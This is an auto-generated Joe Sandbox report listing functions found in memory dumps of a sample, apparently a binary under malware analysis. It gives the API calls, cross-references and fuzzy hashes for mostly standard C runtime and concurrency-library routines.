Instruction Fuzzy Hash: 6EE02235B0021467CA00BBA5E80A99EB7A9AFD1754B14406BEA05A3292DBB8AD05C6D8

Function 00412A2A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00412A5A
__CxxThrowException@8.LIBVCRUNTIME ref: 00412A68

Strings

pScheduler, xrefs: 00412A52
version, xrefs: 00412A3F

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 1687795959-3154422776
Opcode ID: 3030cca69a19be53ddf87e3706c2cf2320a98d06c6603f9790b26c511601d26e
Instruction ID: e2d2c9422debf51b9c750345b0cbac4065eaf73549d6152028c5dd3bccfe0977
Opcode Fuzzy Hash: 3030cca69a19be53ddf87e3706c2cf2320a98d06c6603f9790b26c511601d26e
Instruction Fuzzy Hash: 98E08630D40208B7CB25EF51CA4ABDD7B646F107C9F2484277551610D2D7FC9ADACA4E

Function 007727AF Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0077283A
__alldvrm.LIBCMT ref: 00772A3B
__alldvrm.LIBCMT ref: 00772A5D

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 9b235ce1a5a9543408fb46b3777d6a07bc10eea8968887d06ba8b8f82e9eb4a6
Instruction ID: 5b270be09175f32043af1f485d690d66a173c7a8f9de698f874a586ee809c292
Opcode Fuzzy Hash: 9b235ce1a5a9543408fb46b3777d6a07bc10eea8968887d06ba8b8f82e9eb4a6
Instruction Fuzzy Hash: DBA14771A003869FDF21CE58C8817AABBA4EF11390F19C16DE9A99B243D63D9D42CB50

Function 00432548 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004325D3
__alldvrm.LIBCMT ref: 004327D4
__alldvrm.LIBCMT ref: 004327F6

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: aac6452636522afbdd3c5e4a641de202162234a856fdaa8cb68647c7c0d94c67
Instruction ID: 2c49018cee00ee15d4179c62add52eadf8c574e64aa0df3e77a69bdc59bfe173
Opcode Fuzzy Hash: aac6452636522afbdd3c5e4a641de202162234a856fdaa8cb68647c7c0d94c67
Instruction Fuzzy Hash: 74A16731A00786AFD715DE18CA917AEBBA0FF69310F24516FE4859B381C3BC8D42C759

Function 0077C91F Relevance: 6.2, APIs: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0077CA4E

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 36d538d64afa967b27233dd58c4342dc5ed6ee0aba6d2ad035ed2c3f4623a5c2
Instruction ID: 2d9e294d18631e860b0a679f718171f736868b5ea86f0ecf8bbd8ab6bff26c8d
Opcode Fuzzy Hash: 36d538d64afa967b27233dd58c4342dc5ed6ee0aba6d2ad035ed2c3f4623a5c2
Instruction Fuzzy Hash: 45415D31640204DBDF22ABBC8C4AA6E37A4DF093F0F15C51DFA1DD6291EB3C58418BA1

Function 0043C6B8 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043C7E7

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 03746d6be89ac6f43aa612a22abf9123ea233b4a81e467d88214a0e8fde1af7e
Instruction ID: 71584cf26c91c2a0320c5e53e787b4a25ec2105a32b7a557e86a0cdde08684bd
Opcode Fuzzy Hash: 03746d6be89ac6f43aa612a22abf9123ea233b4a81e467d88214a0e8fde1af7e
Instruction Fuzzy Hash: 7B413B31600112ABDB247BBA9CC2A7E3BA4DF4D774F24125BFC18F6291D73C49415BA9

Function 007737B4 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,00446760,00000000,00000000,8B56FF8B,0076D12A,?,00000004,00000001,00446760,0000007F,?,8B56FF8B,00000001), ref: 00773801
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0077388A
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0077389C
__freea.LIBCMT ref: 007738A5

Part of subcall function 007705BE: RtlAllocateHeap.NTDLL(00000000,0074AB22,00000000), ref: 007705F0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: e4de971d6ca72cbda1f75d48d59d10633a9a5e4929e5ed072070c8012a235250
Instruction ID: 66ddcbb889e996394dbe7069a4d77561949cd50d73260fa38c314999915869c4
Opcode Fuzzy Hash: e4de971d6ca72cbda1f75d48d59d10633a9a5e4929e5ed072070c8012a235250
Instruction Fuzzy Hash: 0831DE72A0021AEBDF258F64CC85DAE7BA5EF40750F088168FC18D7290E739CE50DBA1

Function 0074A69D Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0074A6F5
__Xtime_diff_to_millis2.LIBCPMT ref: 0074A70F
_xtime_get.LIBCPMT ref: 0074A732
__Xtime_diff_to_millis2.LIBCPMT ref: 0074A73E

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 657ff0940981401532928611bd1b5405885e2671565accadaa4c4668446d23e0
Instruction ID: eadf7028fe6852030698db3c748f2f08fba4e752e468df3dc4452a1f17539e51
Opcode Fuzzy Hash: 657ff0940981401532928611bd1b5405885e2671565accadaa4c4668446d23e0
Instruction Fuzzy Hash: C5212F75A40219EFDF01EB94DD859BEB7B9AF08714F104069F601B7291DB78AD018BA1

Function 0042038F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000), ref: 004203D9
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004203C1

Part of subcall function 004183CC: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 004183ED

__CxxThrowException@8.LIBVCRUNTIME ref: 0042040A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00420433

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Context$Event$Base::Concurrency::details::$ThrowTrace$Exception@8
String ID:
API String ID: 2630251706-0
Opcode ID: 06b2e7bd31315682cab36c03ac4118af8cc16b222c6a974a3f8873e271ec6509
Instruction ID: 500f9afef3998244552200f822b5e7c3255905c1b81fb222ae7686e1ba841a52
Opcode Fuzzy Hash: 06b2e7bd31315682cab36c03ac4118af8cc16b222c6a974a3f8873e271ec6509
Instruction Fuzzy Hash: AC1129313002106BCB10AB25ACC996E7769EF44721F14407BFE06E72D3CB789C01CA99

Function 00401CE4 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000005), ref: 00401CF9
UpdateWindow.USER32 ref: 00401D01
ShowWindow.USER32(00000000), ref: 00401D15
MoveWindow.USER32(00000000,00000000,00000001,00000001,00000001), ref: 00401D78

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Window$Show$MoveUpdate
String ID:
API String ID: 1339878773-0
Opcode ID: 8929158610fd29cb01de26f5fc23f7356232ffab111dba484f413ba558b8aba5
Instruction ID: e09c2a62ebc551ffcfee0d084f5a6802920a283ab83090d7a86c3e9d8e82e135
Opcode Fuzzy Hash: 8929158610fd29cb01de26f5fc23f7356232ffab111dba484f413ba558b8aba5
Instruction Fuzzy Hash: E2016532A00218FBCB078F29EC086667AA7EBC5792B248136E50597271F7B19D61CF4C

Function 00765FE0 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00765FFA

Part of subcall function 00765F47: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00765F76
Part of subcall function 00765F47: ___AdjustPointer.LIBCMT ref: 00765F91

_UnwindNestedFrames.LIBCMT ref: 0076600F
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00766020
CallCatchBlock.LIBVCRUNTIME ref: 00766048

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction ID: 25bcba156b5823c18fb2c85eba83b3c72e1375f1c7baa999640ac19e2385501d
Opcode Fuzzy Hash: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction Fuzzy Hash: E5010832100148FBDF126F95CC4AEEB7B69EF89754F444018FE49A6121D73AE961EBA0

Function 00425D79 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00425D93

Part of subcall function 00425CE0: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00425D0F
Part of subcall function 00425CE0: ___AdjustPointer.LIBCMT ref: 00425D2A

_UnwindNestedFrames.LIBCMT ref: 00425DA8
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00425DB9
CallCatchBlock.LIBVCRUNTIME ref: 00425DE1

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction ID: 4b00f3b3aa2d374be727563b93a8b8365000622213df4615dc3c344fe2f77f4e
Opcode Fuzzy Hash: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction Fuzzy Hash: 47012D32200158BBDF125E96DC45EEB3F7AEF88758F454009FE0896121C73AE861DBA8

Function 00771E46 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,00771DED,00000000,00000000,00000000,00000000,?,007720A5,00000006,00447338), ref: 00771E78
GetLastError.KERNEL32(?,00771DED,00000000,00000000,00000000,00000000,?,007720A5,00000006,00447338,00447330,00447338,00000000,00000364,?,0076EEC3), ref: 00771E84
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00771DED,00000000,00000000,00000000,00000000,?,007720A5,00000006,00447338,00447330,00447338,00000000), ref: 00771E92

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction ID: 241a6cd2b6dd2518f425b12cec396b01e7700014d2d9d44087e66f4b4192cd89
Opcode Fuzzy Hash: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction Fuzzy Hash: E201D8366152269BCB314B6C9C44A673798AF067E2B614630FD0AD7140C774DC00C7E4

Function 00431BDF Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00431B86,?,00000000,00000000,00000000,?,00431E3E,00000006,FlsSetValue), ref: 00431C11
GetLastError.KERNEL32(?,00431B86,?,00000000,00000000,00000000,?,00431E3E,00000006,FlsSetValue,00447330,FlsSetValue,00000000,00000364,?,0042EC5C), ref: 00431C1D
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00431B86,?,00000000,00000000,00000000,?,00431E3E,00000006,FlsSetValue,00447330,FlsSetValue,00000000), ref: 00431C2B

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction ID: 3273ee416a3d0e8de46d7518bac05242effe10dbf9c295d7f2a22c42d76fd299
Opcode Fuzzy Hash: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction Fuzzy Hash: F10120366953269BC7314B69DC44A973798FF0A7A1F212531FA07D7250DB38DC11CAE8

Function 00763035 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0076304F
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00763063
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 0076307B
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00763093

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: f65d566f22483c6d1bbf22bd09cce3d28b5715e4fb31a460bb3e5b3d17bcce14
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 7601D636700514F7CF26EE659855AEF77AADF44350F000055FC17A7282DA74EE18D6E0

Function 0075F822 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0075F851
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 0075F86F

Part of subcall function 00755327: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 00755348
Part of subcall function 00755327: Hash.LIBCMT ref: 00755388

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 0075F878
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 0075F898

Part of subcall function 0075C37F: Hash.LIBCMT ref: 0075C391

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: 6b10e7387c6df29269ad76a3749a1da006cfdb9f29ca047c0676352e3c3bd91b
Instruction ID: fe3b9d7971424bc03bcb63dd9063e188061072761236744d640582480ae496e2
Opcode Fuzzy Hash: 6b10e7387c6df29269ad76a3749a1da006cfdb9f29ca047c0676352e3c3bd91b
Instruction Fuzzy Hash: 4B117C76400604EFC715DF64C8869CAFBB8AF19321B408A5EE95687192EBB4E908CB60

Function 00422DCE Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00422DE8
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00422DFC
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00422E14
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00422E2C

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: 65bc8b079a6926ab7ef873bc6426aada4f15d41dae554f7a6f2f3d47a1c06750
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 04012B32300124B7CF16EE55D911AEF7799DF54314F41001BFC11AB242C9B4ED11A2A8

Function 0075F831 Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0075F851
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 0075F86F

Part of subcall function 00755327: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 00755348
Part of subcall function 00755327: Hash.LIBCMT ref: 00755388

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 0075F878
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 0075F898

Part of subcall function 0075C37F: Hash.LIBCMT ref: 0075C391

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: a205bdb4906204f463aaa257ae9e745a07d038154da1908085c5a5e6753d7b47
Instruction ID: a519a13c7c37c2af202f0c185d2afe924a906c2b0bc0462b32598228d37aa8f6
Opcode Fuzzy Hash: a205bdb4906204f463aaa257ae9e745a07d038154da1908085c5a5e6753d7b47
Instruction Fuzzy Hash: EF016D72400604EFC714DF65C8869CAF7E8FF19311F008A1EE95687141DBB4F508CB60

Function 00758DDE Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00758E10
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00758E20
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00758E30
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00758E44

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction ID: 38d41e5a59541601b1d9a2d59969360067da6acbc55ea1e27fdffd3701c11c97
Opcode Fuzzy Hash: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction Fuzzy Hash: BC016D3640010DEBCF92AE50ED028EE7B32AB04352F188411FE1CA5070DBB6CA78AB42

Function 00418B77 Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BA9
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BB9
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BC9
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BDD

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction ID: 07903836bbe2834e117c05572e3a0004eb042ba6b76b4cc778a756959756a69c
Opcode Fuzzy Hash: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
Instruction Fuzzy Hash: 90011D76008249FFCF119E54EC419EE3B26BB05758B14891FF918C4131DB36EAB1AB49

Function 00750413 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 0075042C

Part of subcall function 0074F7B6: ___crtGetTimeFormatEx.LIBCMT ref: 0074F7CC
Part of subcall function 0074F7B6: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 0074F7EB

GetLastError.KERNEL32 ref: 00750448
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0075045E
__CxxThrowException@8.LIBVCRUNTIME ref: 0075046C

Part of subcall function 0074F58C: SetThreadPriority.KERNEL32(?,?), ref: 0074F598

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction ID: ec4e194dbe72815526ffe88a2cca212f85063d63cad4bbd5411cb2e394520081
Opcode Fuzzy Hash: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction Fuzzy Hash: 47F0A0B2A00315BAD730B6755C0FFBB76AC9B02751F50486AFE05E6082EAECD85486F5

Function 004101AC Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 004101C5

Part of subcall function 0040F54F: ___crtGetTimeFormatEx.LIBCMT ref: 0040F565
Part of subcall function 0040F54F: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 0040F584

GetLastError.KERNEL32 ref: 004101E1
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004101F7
__CxxThrowException@8.LIBVCRUNTIME ref: 00410205

Part of subcall function 0040F325: SetThreadPriority.KERNEL32(?,?), ref: 0040F331

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction ID: 3891731ca07685bc3b589520bb066dd2e0ae69ecd14e3fdbbdfdfb53cbebc02f
Opcode Fuzzy Hash: 9e311770080c77f595df2e4828a9ada75ad50ffd314b04fe3222c7a185b41ec0
Instruction Fuzzy Hash: E3F08272A042257AD730B6765C07FFB35AC9B01754F50487BB901E65C2E9FCD88446B8

Function 0040A26A Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 0040DD7B

Part of subcall function 0040D5ED: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 0040D60F
Part of subcall function 0040D5ED: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0040D630

Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0040DD8E
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0040DD9A
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0040DDA3

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::$LockQueue$Concurrency::critical_section::_NodeNode::Timer$Acquire_lockAsyncBase::ContextCurrentDerefLibraryLoadRegisterSchedulerSwitch_to_active
String ID:
API String ID: 4284812201-0
Opcode ID: 048dd4bc442cd4f69ba295ed6f87ca153fa256c72746e1a0299900cc5f2423e3
Instruction ID: 9f35ae103898110b2c6e2c8b129b6db8af4b6a645143e4d16aa0ac386b8db627
Opcode Fuzzy Hash: 048dd4bc442cd4f69ba295ed6f87ca153fa256c72746e1a0299900cc5f2423e3
Instruction Fuzzy Hash: BBF02430F00308A7DF14BBE6488266E26865F80328F04423FB911BB3C2CE7C8D0996AD

Function 00759D14 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00759D28
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00759D4C
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00759D5F
__CxxThrowException@8.LIBVCRUNTIME ref: 00759D6D

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentException@8Manager::Proxy::RemoveSchedulerThreadThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3657713681-0
Opcode ID: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction ID: 6fda22efa6d71826b226bcc69819aeb69b5f537e997f9f976b2b66539138f157
Opcode Fuzzy Hash: 8e73bf2942617f99f400e67a44766925d6da5185444425d31cd62b1748448a9f
Instruction Fuzzy Hash: 33F0B435B00604E7C724FA54D88A8DEB3399E81B12B24456AEE0657182DBB8A90AC6A1

Function 0074F4F8 Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00420232,000000A4,000000FF,0000000C), ref: 0074F50F
GetLastError.KERNEL32(?,?,?,?,007554D0,?,?,?,?,00000000,?,00000000), ref: 0074F51E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F534
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F542

Memory Dump Source

